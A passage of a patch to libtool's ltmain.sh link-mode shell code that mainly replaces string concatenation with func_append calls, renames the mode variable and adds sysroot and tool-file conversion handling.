+ if test "$link_all_deplibs" != no; then
+@@ -6113,8 +7029,10 @@ func_mode_link ()
+ case $deplib in
+ -L*) path="$deplib" ;;
+ *.la)
++ func_resolve_sysroot "$deplib"
++ deplib=$func_resolve_sysroot_result
+ func_dirname "$deplib" "" "."
+- dir="$func_dirname_result"
++ dir=$func_dirname_result
+ # We need an absolute path.
+ case $dir in
+ [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;;
+@@ -6130,7 +7048,7 @@ func_mode_link ()
+ case $host in
+ *-*-darwin*)
+ depdepl=
+- deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
++ eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
+ if test -n "$deplibrary_names" ; then
+ for tmp in $deplibrary_names ; do
+ depdepl=$tmp
+@@ -6141,8 +7059,8 @@ func_mode_link ()
+ if test -z "$darwin_install_name"; then
+ darwin_install_name=`${OTOOL64} -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'`
+ fi
+- compiler_flags="$compiler_flags ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
+- linker_flags="$linker_flags -dylib_file ${darwin_install_name}:${depdepl}"
++ func_append compiler_flags " ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
++ func_append linker_flags " -dylib_file ${darwin_install_name}:${depdepl}"
+ path=
+ fi
+ fi
+@@ -6152,7 +7070,7 @@ func_mode_link ()
+ ;;
+ esac
+ else
+- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
++ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
+ test -z "$libdir" && \
+ func_fatal_error "\`$deplib' is not a valid libtool archive"
+ test "$absdir" != "$libdir" && \
+@@ -6192,7 +7110,7 @@ func_mode_link ()
+ for dir in $newlib_search_path; do
+ case "$lib_search_path " in
+ *" $dir "*) ;;
+- *) lib_search_path="$lib_search_path $dir" ;;
++ *) func_append lib_search_path " $dir" ;;
+ esac
+ done
+ newlib_search_path=
+@@ -6205,7 +7123,7 @@ func_mode_link ()
+ fi
+ for var in $vars dependency_libs; do
+ # Add libraries to $var in reverse order
+- eval tmp_libs=\$$var
++ eval tmp_libs=\"\$$var\"
+ new_libs=
+ for deplib in $tmp_libs; do
+ # FIXME: Pedantically, this is the right thing to do, so
+@@ -6250,13 +7168,13 @@ func_mode_link ()
+ -L*)
+ case " $tmp_libs " in
+ *" $deplib "*) ;;
+- *) tmp_libs="$tmp_libs $deplib" ;;
++ *) func_append tmp_libs " $deplib" ;;
+ esac
+ ;;
+- *) tmp_libs="$tmp_libs $deplib" ;;
++ *) func_append tmp_libs " $deplib" ;;
+ esac
+ done
+- eval $var=\$tmp_libs
++ eval $var=\"$tmp_libs\"
+ done # for var
+ fi
+ # Last step: remove runtime libs from dependency_libs
+@@ -6269,7 +7187,7 @@ func_mode_link ()
+ ;;
+ esac
+ if test -n "$i" ; then
+- tmp_libs="$tmp_libs $i"
++ func_append tmp_libs " $i"
+ fi
+ done
+ dependency_libs=$tmp_libs
+@@ -6310,7 +7228,7 @@ func_mode_link ()
+ # Now set the variables for building old libraries.
+ build_libtool_libs=no
+ oldlibs="$output"
+- objs="$objs$old_deplibs"
++ func_append objs "$old_deplibs"
+ ;;
+
+ lib)
+@@ -6319,8 +7237,8 @@ func_mode_link ()
+ lib*)
+ func_stripname 'lib' '.la' "$outputname"
+ name=$func_stripname_result
+- eval "shared_ext=\"$shrext_cmds\""
+- eval "libname=\"$libname_spec\""
++ eval shared_ext=\"$shrext_cmds\"
++ eval libname=\"$libname_spec\"
+ ;;
+ *)
+ test "$module" = no && \
+@@ -6330,8 +7248,8 @@ func_mode_link ()
+ # Add the "lib" prefix for modules if required
+ func_stripname '' '.la' "$outputname"
+ name=$func_stripname_result
+- eval "shared_ext=\"$shrext_cmds\""
+- eval "libname=\"$libname_spec\""
++ eval shared_ext=\"$shrext_cmds\"
++ eval libname=\"$libname_spec\"
+ else
+ func_stripname '' '.la' "$outputname"
+ libname=$func_stripname_result
+@@ -6346,7 +7264,7 @@ func_mode_link ()
+ echo
+ $ECHO "*** Warning: Linking the shared library $output against the non-libtool"
+ $ECHO "*** objects $objs is not portable!"
+- libobjs="$libobjs $objs"
++ func_append libobjs " $objs"
+ fi
+ fi
+
+@@ -6544,7 +7462,7 @@ func_mode_link ()
+ done
+
+ # Make executables depend on our current version.
+- verstring="$verstring:${current}.0"
++ func_append verstring ":${current}.0"
+ ;;
+
+ qnx)
+@@ -6612,10 +7530,10 @@ func_mode_link ()
+ fi
+
+ func_generate_dlsyms "$libname" "$libname" "yes"
+- libobjs="$libobjs $symfileobj"
++ func_append libobjs " $symfileobj"
+ test "X$libobjs" = "X " && libobjs=
+
+- if test "$mode" != relink; then
++ if test "$opt_mode" != relink; then
+ # Remove our outputs, but don't remove object files since they
+ # may have been created when compiling PIC objects.
+ removelist=
+@@ -6631,7 +7549,7 @@ func_mode_link ()
+ continue
+ fi
+ fi
+- removelist="$removelist $p"
++ func_append removelist " $p"
+ ;;
+ *) ;;
+ esac
+@@ -6642,7 +7560,7 @@ func_mode_link ()
+
+ # Now set the variables for building old libraries.
+ if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then
+- oldlibs="$oldlibs $output_objdir/$libname.$libext"
++ func_append oldlibs " $output_objdir/$libname.$libext"
+
+ # Transform .lo files to .o files.
+ oldobjs="$objs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; $lo2o" | $NL2SP`
+@@ -6659,10 +7577,11 @@ func_mode_link ()
+ # If the user specified any rpath flags, then add them.
+ temp_xrpath=
+ for libdir in $xrpath; do
+- temp_xrpath="$temp_xrpath -R$libdir"
++ func_replace_sysroot "$libdir"
++ func_append temp_xrpath " -R$func_replace_sysroot_result"
+ case "$finalize_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_rpath="$finalize_rpath $libdir" ;;
++ *) func_append finalize_rpath " $libdir" ;;
+ esac
+ done
+ if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then
+@@ -6676,7 +7595,7 @@ func_mode_link ()
+ for lib in $old_dlfiles; do
+ case " $dlprefiles $dlfiles " in
+ *" $lib "*) ;;
+- *) dlfiles="$dlfiles $lib" ;;
++ *) func_append dlfiles " $lib" ;;
+ esac
+ done
+
+@@ -6686,7 +7605,7 @@ func_mode_link ()
+ for lib in $old_dlprefiles; do
+ case "$dlprefiles " in
+ *" $lib "*) ;;
+- *) dlprefiles="$dlprefiles $lib" ;;
++ *) func_append dlprefiles " $lib" ;;
+ esac
+ done
+
+@@ -6698,7 +7617,7 @@ func_mode_link ()
+ ;;
+ *-*-rhapsody* | *-*-darwin1.[012])
+ # Rhapsody C library is in the System framework
+- deplibs="$deplibs System.ltframework"
++ func_append deplibs " System.ltframework"
+ ;;
+ *-*-netbsd*)
+ # Don't link with libc until the a.out ld.so is fixed.
+@@ -6715,7 +7634,7 @@ func_mode_link ()
+ *)
+ # Add libc to deplibs on all other systems if necessary.
+ if test "$build_libtool_need_lc" = "yes"; then
+- deplibs="$deplibs -lc"
++ func_append deplibs " -lc"
+ fi
+ ;;
+ esac
+@@ -6764,18 +7683,18 @@ EOF
+ if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+ case " $predeps $postdeps " in
+ *" $i "*)
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ i=""
+ ;;
+ esac
+ fi
+ if test -n "$i" ; then
+- eval "libname=\"$libname_spec\""
+- eval "deplib_matches=\"$library_names_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
++ deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
+ set dummy $deplib_matches; shift
+ deplib_match=$1
+ if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ else
+ droppeddeps=yes
+ echo
+@@ -6789,7 +7708,7 @@ EOF
+ fi
+ ;;
+ *)
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ ;;
+ esac
+ done
+@@ -6807,18 +7726,18 @@ EOF
+ if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+ case " $predeps $postdeps " in
+ *" $i "*)
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ i=""
+ ;;
+ esac
+ fi
+ if test -n "$i" ; then
+- eval "libname=\"$libname_spec\""
+- eval "deplib_matches=\"$library_names_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
++ deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
+ set dummy $deplib_matches; shift
+ deplib_match=$1
+ if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ else
+ droppeddeps=yes
+ echo
+@@ -6840,7 +7759,7 @@ EOF
+ fi
+ ;;
+ *)
+- newdeplibs="$newdeplibs $i"
++ func_append newdeplibs " $i"
+ ;;
+ esac
+ done
+@@ -6857,15 +7776,27 @@ EOF
+ if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+ case " $predeps $postdeps " in
+ *" $a_deplib "*)
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ a_deplib=""
+ ;;
+ esac
+ fi
+ if test -n "$a_deplib" ; then
+- eval "libname=\"$libname_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
++ if test -n "$file_magic_glob"; then
++ libnameglob=`func_echo_all "$libname" | $SED -e $file_magic_glob`
++ else
++ libnameglob=$libname
++ fi
++ test "$want_nocaseglob" = yes && nocaseglob=`shopt -p nocaseglob`
+ for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
+- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
++ if test "$want_nocaseglob" = yes; then
++ shopt -s nocaseglob
++ potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null`
++ $nocaseglob
++ else
++ potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null`
++ fi
+ for potent_lib in $potential_libs; do
+ # Follow soft links.
+ if ls -lLd "$potent_lib" 2>/dev/null |
+@@ -6885,10 +7816,10 @@ EOF
+ *) potlib=`$ECHO "$potlib" | $SED 's,[^/]*$,,'`"$potliblink";;
+ esac
+ done
+- if eval "$file_magic_cmd \"\$potlib\"" 2>/dev/null |
++ if eval $file_magic_cmd \"\$potlib\" 2>/dev/null |
+ $SED -e 10q |
+ $EGREP "$file_magic_regex" > /dev/null; then
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ a_deplib=""
+ break 2
+ fi
+@@ -6913,7 +7844,7 @@ EOF
+ ;;
+ *)
+ # Add a -L argument.
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ ;;
+ esac
+ done # Gone through all deplibs.
+@@ -6929,20 +7860,20 @@ EOF
+ if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+ case " $predeps $postdeps " in
+ *" $a_deplib "*)
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ a_deplib=""
+ ;;
+ esac
+ fi
+ if test -n "$a_deplib" ; then
+- eval "libname=\"$libname_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
+ for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
+ potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
+ for potent_lib in $potential_libs; do
+ potlib="$potent_lib" # see symlink-check above in file_magic test
+ if eval "\$ECHO \"$potent_lib\"" 2>/dev/null | $SED 10q | \
+ $EGREP "$match_pattern_regex" > /dev/null; then
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ a_deplib=""
+ break 2
+ fi
+@@ -6967,7 +7898,7 @@ EOF
+ ;;
+ *)
+ # Add a -L argument.
+- newdeplibs="$newdeplibs $a_deplib"
++ func_append newdeplibs " $a_deplib"
+ ;;
+ esac
+ done # Gone through all deplibs.
+@@ -7071,7 +8002,7 @@ EOF
+ *)
+ case " $deplibs " in
+ *" -L$path/$objdir "*)
+- new_libs="$new_libs -L$path/$objdir" ;;
++ func_append new_libs " -L$path/$objdir" ;;
+ esac
+ ;;
+ esac
+@@ -7081,10 +8012,10 @@ EOF
+ -L*)
+ case " $new_libs " in
+ *" $deplib "*) ;;
+- *) new_libs="$new_libs $deplib" ;;
++ *) func_append new_libs " $deplib" ;;
+ esac
+ ;;
+- *) new_libs="$new_libs $deplib" ;;
++ *) func_append new_libs " $deplib" ;;
+ esac
+ done
+ deplibs="$new_libs"
+@@ -7101,10 +8032,12 @@ EOF
+ hardcode_libdirs=
+ dep_rpath=
+ rpath="$finalize_rpath"
+- test "$mode" != relink && rpath="$compile_rpath$rpath"
++ test "$opt_mode" != relink && rpath="$compile_rpath$rpath"
+ for libdir in $rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
+ if test -n "$hardcode_libdir_separator"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs="$libdir"
+ else
+@@ -7113,18 +8046,18 @@ EOF
+ *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+ ;;
+ *)
+- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
++ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
+ ;;
+ esac
+ fi
+ else
+- eval "flag=\"$hardcode_libdir_flag_spec\""
+- dep_rpath="$dep_rpath $flag"
++ eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append dep_rpath " $flag"
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+ *" $libdir "*) ;;
+- *) perm_rpath="$perm_rpath $libdir" ;;
++ *) func_apped perm_rpath " $libdir" ;;
+ esac
+ fi
+ done
+@@ -7133,40 +8066,38 @@ EOF
+ test -n "$hardcode_libdirs"; then
+ libdir="$hardcode_libdirs"
+ if test -n "$hardcode_libdir_flag_spec_ld"; then
+- eval "dep_rpath=\"$hardcode_libdir_flag_spec_ld\""
++ eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\"
+ else
+- eval "dep_rpath=\"$hardcode_libdir_flag_spec\""
++ eval dep_rpath=\"$hardcode_libdir_flag_spec\"
+ fi
+ fi
+ if test -n "$runpath_var" && test -n "$perm_rpath"; then
+ # We should set the runpath_var.
+ rpath=
+ for dir in $perm_rpath; do
+- rpath="$rpath$dir:"
++ func_append rpath "$dir:"
+ done
+- eval $runpath_var=\$rpath\$$runpath_var
+- export $runpath_var
++ eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var"
+ fi
+ test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs"
+ fi
+
+ shlibpath="$finalize_shlibpath"
+- test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
++ test "$opt_mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
+ if test -n "$shlibpath"; then
+- eval $shlibpath_var=\$shlibpath\$$shlibpath_var
+- export $shlibpath_var
++ eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var"
+ fi
+
+ # Get the real and link names of the library.
+- eval "shared_ext=\"$shrext_cmds\""
+- eval "library_names=\"$library_names_spec\""
++ eval shared_ext=\"$shrext_cmds\"
++ eval library_names=\"$library_names_spec\"
+ set dummy $library_names
+ shift
+ realname="$1"
+ shift
+
+ if test -n "$soname_spec"; then
+- eval "soname=\"$soname_spec\""
++ eval soname=\"$soname_spec\"
+ else
+ soname="$realname"
+ fi
+@@ -7178,7 +8109,7 @@ EOF
+ linknames=
+ for link
+ do
+- linknames="$linknames $link"
++ func_append linknames " $link"
+ done
+
+ # Use standard objects if they are pic
+@@ -7189,7 +8120,7 @@ EOF
+ if test -n "$export_symbols" && test -n "$include_expsyms"; then
+ $opt_dry_run || cp "$export_symbols" "$output_objdir/$libname.uexp"
+ export_symbols="$output_objdir/$libname.uexp"
+- delfiles="$delfiles $export_symbols"
++ func_append delfiles " $export_symbols"
+ fi
+
+ orig_export_symbols=
+@@ -7220,13 +8151,45 @@ EOF
+ $opt_dry_run || $RM $export_symbols
+ cmds=$export_symbols_cmds
+ save_ifs="$IFS"; IFS='~'
+- for cmd in $cmds; do
++ for cmd1 in $cmds; do
+ IFS="$save_ifs"
+- eval "cmd=\"$cmd\""
+- func_len " $cmd"
+- len=$func_len_result
+- if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then
++ # Take the normal branch if the nm_file_list_spec branch
++ # doesn't work or if tool conversion is not needed.
++ case $nm_file_list_spec~$to_tool_file_cmd in
++ *~func_convert_file_noop | *~func_convert_file_msys_to_w32 | ~*)
++ try_normal_branch=yes
++ eval cmd=\"$cmd1\"
++ func_len " $cmd"
++ len=$func_len_result
++ ;;
++ *)
++ try_normal_branch=no
++ ;;
++ esac
++ if test "$try_normal_branch" = yes \
++ && { test "$len" -lt "$max_cmd_len" \
++ || test "$max_cmd_len" -le -1; }
++ then
++ func_show_eval "$cmd" 'exit $?'
++ skipped_export=false
++ elif test -n "$nm_file_list_spec"; then
++ func_basename "$output"
++ output_la=$func_basename_result
++ save_libobjs=$libobjs
++ save_output=$output
++ output=${output_objdir}/${output_la}.nm
++ func_to_tool_file "$output"
++ libobjs=$nm_file_list_spec$func_to_tool_file_result
++ func_append delfiles " $output"
++ func_verbose "creating $NM input file list: $output"
++ for obj in $save_libobjs; do
++ func_to_tool_file "$obj"
++ $ECHO "$func_to_tool_file_result"
++ done > "$output"
++ eval cmd=\"$cmd1\"
+ func_show_eval "$cmd" 'exit $?'
++ output=$save_output
++ libobjs=$save_libobjs
+ skipped_export=false
+ else
+ # The command line is too long to execute in one step.
+@@ -7248,7 +8211,7 @@ EOF
+ if test -n "$export_symbols" && test -n "$include_expsyms"; then
+ tmp_export_symbols="$export_symbols"
+ test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
+- $opt_dry_run || $ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"
++ $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"'
+ fi
+
+ if test "X$skipped_export" != "X:" && test -n "$orig_export_symbols"; then
+@@ -7260,7 +8223,7 @@ EOF
+ # global variables. join(1) would be nice here, but unfortunately
+ # isn't a blessed tool.
+ $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
+- delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
++ func_append delfiles " $export_symbols $output_objdir/$libname.filter"
+ export_symbols=$output_objdir/$libname.def
+ $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
+ fi
+@@ -7270,7 +8233,7 @@ EOF
+ case " $convenience " in
+ *" $test_deplib "*) ;;
+ *)
+- tmp_deplibs="$tmp_deplibs $test_deplib"
++ func_append tmp_deplibs " $test_deplib"
+ ;;
+ esac
+ done
+@@ -7286,43 +8249,43 @@ EOF
+ fi
+ if test -n "$whole_archive_flag_spec"; then
+ save_libobjs=$libobjs
+- eval "libobjs=\"\$libobjs $whole_archive_flag_spec\""
++ eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
+ test "X$libobjs" = "X " && libobjs=
+ else
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $convenience
+- libobjs="$libobjs $func_extract_archives_result"
++ func_append libobjs " $func_extract_archives_result"
+ test "X$libobjs" = "X " && libobjs=
+ fi
+ fi
+
+ if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then
+- eval "flag=\"$thread_safe_flag_spec\""
+- linker_flags="$linker_flags $flag"
++ eval flag=\"$thread_safe_flag_spec\"
++ func_append linker_flags " $flag"
+ fi
+
+ # Make a backup of the uninstalled library when relinking
+- if test "$mode" = relink; then
+- $opt_dry_run || (cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U) || exit $?
++ if test "$opt_mode" = relink; then
++ $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U)' || exit $?
+ fi
+
+ # Do each of the archive commands.
+ if test "$module" = yes && test -n "$module_cmds" ; then
+ if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
+- eval "test_cmds=\"$module_expsym_cmds\""
++ eval test_cmds=\"$module_expsym_cmds\"
+ cmds=$module_expsym_cmds
+ else
+- eval "test_cmds=\"$module_cmds\""
++ eval test_cmds=\"$module_cmds\"
+ cmds=$module_cmds
+ fi
+ else
+ if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
+- eval "test_cmds=\"$archive_expsym_cmds\""
++ eval test_cmds=\"$archive_expsym_cmds\"
+ cmds=$archive_expsym_cmds
+ else
+- eval "test_cmds=\"$archive_cmds\""
++ eval test_cmds=\"$archive_cmds\"
+ cmds=$archive_cmds
+ fi
+ fi
+@@ -7366,10 +8329,13 @@ EOF
+ echo 'INPUT (' > $output
+ for obj in $save_libobjs
+ do
+- $ECHO "$obj" >> $output
++ func_to_tool_file "$obj"
++ $ECHO "$func_to_tool_file_result" >> $output
+ done
+ echo ')' >> $output
+- delfiles="$delfiles $output"
++ func_append delfiles " $output"
++ func_to_tool_file "$output"
++ output=$func_to_tool_file_result
+ elif test -n "$save_libobjs" && test "X$skipped_export" != "X:" && test "X$file_list_spec" != X; then
+ output=${output_objdir}/${output_la}.lnk
+ func_verbose "creating linker input file list: $output"
+@@ -7383,15 +8349,17 @@ EOF
+ fi
+ for obj
+ do
+- $ECHO "$obj" >> $output
++ func_to_tool_file "$obj"
++ $ECHO "$func_to_tool_file_result" >> $output
+ done
+- delfiles="$delfiles $output"
+- output=$firstobj\"$file_list_spec$output\"
++ func_append delfiles " $output"
++ func_to_tool_file "$output"
++ output=$firstobj\"$file_list_spec$func_to_tool_file_result\"
+ else
+ if test -n "$save_libobjs"; then
+ func_verbose "creating reloadable object files..."
+ output=$output_objdir/$output_la-${k}.$objext
+- eval "test_cmds=\"$reload_cmds\""
++ eval test_cmds=\"$reload_cmds\"
+ func_len " $test_cmds"
+ len0=$func_len_result
+ len=$len0
+@@ -7411,12 +8379,12 @@ EOF
+ if test "$k" -eq 1 ; then
+ # The first file doesn't have a previous command to add.
+ reload_objs=$objlist
+- eval "concat_cmds=\"$reload_cmds\""
++ eval concat_cmds=\"$reload_cmds\"
+ else
+ # All subsequent reloadable object files will link in
+ # the last one created.
+ reload_objs="$objlist $last_robj"
+- eval "concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\""
++ eval concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\"
+ fi
+ last_robj=$output_objdir/$output_la-${k}.$objext
+ func_arith $k + 1
+@@ -7433,11 +8401,11 @@ EOF
+ # files will link in the last one created.
+ test -z "$concat_cmds" || concat_cmds=$concat_cmds~
+ reload_objs="$objlist $last_robj"
+- eval "concat_cmds=\"\${concat_cmds}$reload_cmds\""
++ eval concat_cmds=\"\${concat_cmds}$reload_cmds\"
+ if test -n "$last_robj"; then
+- eval "concat_cmds=\"\${concat_cmds}~\$RM $last_robj\""
++ eval concat_cmds=\"\${concat_cmds}~\$RM $last_robj\"
+ fi
+- delfiles="$delfiles $output"
++ func_append delfiles " $output"
+
+ else
+ output=
+@@ -7450,9 +8418,9 @@ EOF
+ libobjs=$output
+ # Append the command to create the export file.
+ test -z "$concat_cmds" || concat_cmds=$concat_cmds~
+- eval "concat_cmds=\"\$concat_cmds$export_symbols_cmds\""
++ eval concat_cmds=\"\$concat_cmds$export_symbols_cmds\"
+ if test -n "$last_robj"; then
+- eval "concat_cmds=\"\$concat_cmds~\$RM $last_robj\""
++ eval concat_cmds=\"\$concat_cmds~\$RM $last_robj\"
+ fi
+ fi
+
+@@ -7471,7 +8439,7 @@ EOF
+ lt_exit=$?
+
+ # Restore the uninstalled library and exit
+- if test "$mode" = relink; then
++ if test "$opt_mode" = relink; then
+ ( cd "$output_objdir" && \
+ $RM "${realname}T" && \
+ $MV "${realname}U" "$realname" )
+@@ -7492,7 +8460,7 @@ EOF
+ if test -n "$export_symbols" && test -n "$include_expsyms"; then
+ tmp_export_symbols="$export_symbols"
+ test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
+- $opt_dry_run || $ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"
++ $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"'
+ fi
+
+ if test -n "$orig_export_symbols"; then
+@@ -7504,7 +8472,7 @@ EOF
+ # global variables. join(1) would be nice here, but unfortunately
+ # isn't a blessed tool.
+ $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
+- delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
++ func_append delfiles " $export_symbols $output_objdir/$libname.filter"
+ export_symbols=$output_objdir/$libname.def
+ $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
+ fi
+@@ -7515,7 +8483,7 @@ EOF
+ output=$save_output
+
+ if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then
+- eval "libobjs=\"\$libobjs $whole_archive_flag_spec\""
++ eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
+ test "X$libobjs" = "X " && libobjs=
+ fi
+ # Expand the library linking commands again to reset the
+@@ -7539,23 +8507,23 @@ EOF
+
+ if test -n "$delfiles"; then
+ # Append the command to remove temporary files to $cmds.
+- eval "cmds=\"\$cmds~\$RM $delfiles\""
++ eval cmds=\"\$cmds~\$RM $delfiles\"
+ fi
+
+ # Add any objects from preloaded convenience libraries
+ if test -n "$dlprefiles"; then
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $dlprefiles
+- libobjs="$libobjs $func_extract_archives_result"
++ func_append libobjs " $func_extract_archives_result"
+ test "X$libobjs" = "X " && libobjs=
+ fi
+
+ save_ifs="$IFS"; IFS='~'
+ for cmd in $cmds; do
+ IFS="$save_ifs"
+- eval "cmd=\"$cmd\""
++ eval cmd=\"$cmd\"
+ $opt_silent || {
+ func_quote_for_expand "$cmd"
+ eval "func_echo $func_quote_for_expand_result"
+@@ -7564,7 +8532,7 @@ EOF
+ lt_exit=$?
+
+ # Restore the uninstalled library and exit
+- if test "$mode" = relink; then
++ if test "$opt_mode" = relink; then
+ ( cd "$output_objdir" && \
+ $RM "${realname}T" && \
+ $MV "${realname}U" "$realname" )
+@@ -7576,8 +8544,8 @@ EOF
+ IFS="$save_ifs"
+
+ # Restore the uninstalled library and exit
+- if test "$mode" = relink; then
+- $opt_dry_run || (cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname) || exit $?
++ if test "$opt_mode" = relink; then
++ $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname)' || exit $?
+
+ if test -n "$convenience"; then
+ if test -z "$whole_archive_flag_spec"; then
+@@ -7656,17 +8624,20 @@ EOF
+
+ if test -n "$convenience"; then
+ if test -n "$whole_archive_flag_spec"; then
+- eval "tmp_whole_archive_flags=\"$whole_archive_flag_spec\""
++ eval tmp_whole_archive_flags=\"$whole_archive_flag_spec\"
+ reload_conv_objs=$reload_objs\ `$ECHO "$tmp_whole_archive_flags" | $SED 's|,| |g'`
+ else
+ gentop="$output_objdir/${obj}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $convenience
+ reload_conv_objs="$reload_objs $func_extract_archives_result"
+ fi
+ fi
+
++ # If we're not building shared, we need to use non_pic_objs
++ test "$build_libtool_libs" != yes && libobjs="$non_pic_objects"
++
+ # Create the old-style object.
+ reload_objs="$objs$old_deplibs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; /\.lib$/d; $lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test
+
+@@ -7690,7 +8661,7 @@ EOF
+ # Create an invalid libtool object if no PIC, so that we don't
+ # accidentally link it into a program.
+ # $show "echo timestamp > $libobj"
+- # $opt_dry_run || echo timestamp > $libobj || exit $?
++ # $opt_dry_run || eval "echo timestamp > $libobj" || exit $?
+ exit $EXIT_SUCCESS
+ fi
+
+@@ -7740,8 +8711,8 @@ EOF
+ if test "$tagname" = CXX ; then
+ case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
+ 10.[0123])
+- compile_command="$compile_command ${wl}-bind_at_load"
+- finalize_command="$finalize_command ${wl}-bind_at_load"
++ func_append compile_command " ${wl}-bind_at_load"
++ func_append finalize_command " ${wl}-bind_at_load"
+ ;;
+ esac
+ fi
+@@ -7761,7 +8732,7 @@ EOF
+ *)
+ case " $compile_deplibs " in
+ *" -L$path/$objdir "*)
+- new_libs="$new_libs -L$path/$objdir" ;;
++ func_append new_libs " -L$path/$objdir" ;;
+ esac
+ ;;
+ esac
+@@ -7771,17 +8742,17 @@ EOF
+ -L*)
+ case " $new_libs " in
+ *" $deplib "*) ;;
+- *) new_libs="$new_libs $deplib" ;;
++ *) func_append new_libs " $deplib" ;;
+ esac
+ ;;
+- *) new_libs="$new_libs $deplib" ;;
++ *) func_append new_libs " $deplib" ;;
+ esac
+ done
+ compile_deplibs="$new_libs"
+
+
+- compile_command="$compile_command $compile_deplibs"
+- finalize_command="$finalize_command $finalize_deplibs"
